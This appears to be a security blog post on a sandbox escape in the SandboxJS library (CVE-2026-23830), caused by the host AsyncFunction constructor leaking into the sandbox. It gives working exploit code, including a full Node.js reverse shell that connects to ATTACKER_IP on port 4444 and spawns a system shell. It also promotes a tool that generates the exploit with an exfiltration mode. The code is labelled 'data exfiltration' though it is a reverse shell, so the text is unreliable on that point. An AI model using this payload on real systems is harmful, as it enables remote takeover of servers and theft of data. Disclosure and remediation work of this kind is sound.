Escaping the Matrix: A Deep Dive into SandboxJS RCE (CVE-2026–23830)

How a simple oversight in AsyncFunctions led to a full Remote Code Execution (RCE) via Sandbox Escape.

We often rely on sandboxes to run untrusted code securely. Whether it’s a coding interview platform, a discord bot, or a rule engine, we assume the “box” is sealed. But what happens when the box has a backdoor key left under the mat?

Recently, I analyzed SandboxJS (specifically version < 0.8.26) and discovered a critical Sandbox Escape vulnerability assigned as CVE-2026–23830. In this article, I’ll break down the root cause, show how to exploit it manually, and introduce a tool I wrote to automate the process.

The Illusion of Safety

The library claims to isolate user code from the host environment. It wraps code execution and blocks access to dangerous globals like process, require, and fs.

A typical secure setup looks like this:

const Sandbox = require(‘sandboxjs’);
const s = new Sandbox();
s.run(“console.log(‘Hello World’)”); // Safe… right?

The Root Cause: The Forgotten Constructor

In JavaScript, every function has a constructor. While the library developers correctly sandboxed standard Function constructors, they overlooked **AsyncFunction**.

By defining an empty async function inside the sandbox, we can access its constructor. This constructor belongs to the Host Environment, not the Sandbox context.

// Inside the sandbox
const af = async () => {}; 
const HostConstructor = af.constructor; // BINGO!

Once we have the Host’s constructor, we can execute arbitrary JavaScript code completely outside the sandbox’s restrictions.

The Exploit

Here is the logic to achieve Remote Code Execution (RCE). We use the escaped constructor to dynamically import child_process and execute system commands.

Step 1: Breaking Out

We create a function using the escaped constructor that returns access to Node.js internals:

const escape = HostConstructor(“return process.mainModule.require(‘child_process’)”);

Step 2: Weaponization (Blind Data Exfiltration)

Instead of trying to open a reverse shell (which might be blocked by firewalls), we can use an Out-of-Band (OOB) technique. This allows us to steal data even if the application shows no output (Blind RCE).

We execute the command, encode the result in Base64, and send it to an external Webhook listener.

(async () => {
 const af = async () => {};
 const C = af.constructor;

 // Establishing a connection back to the attacker
 const payload = C(`
 const net = process.mainModule.require(‘net’);
 const cp = process.mainModule.require(‘child_process’);
 const client = new net.Socket();

 client.connect(4444, ‘ATTACKER_IP’, () => {
 const sh = process.platform === ‘win32’ ? ‘cmd.exe’ : ‘/bin/sh’;
 const p = cp.spawn(sh, []);
 client.pipe(p.stdin);
 p.stdout.pipe(client);
 p.stderr.pipe(client);
 });
 `);

 payload();
})()

Introducing SandBreak

Exploiting this manually every time is tedious, especially when dealing with Blind RCEs (where you don’t see the output).

I developed SandBreak, a Go-based exploit generator designed specifically for CVE-2026–23830.

Features:

• OOB Mode: Exfiltrates data via HTTP/HTTPS (great for Blind RCE).

Github Repository: Galaxy-sc/CVE-2026-23830-SandBreak

Click to watch the PoC video on GitHub

Remediation

If you are using sandboxjs, upgrade immediately to the latest version. The patch ensures that AsyncFunction is properly wrapped and isolated.

Conclusion Sandboxing is hard. This vulnerability serves as a reminder that “blacklisting” dangerous functions is rarely enough; deep architectural isolation is required to run untrusted code safely.

Happy Hacking!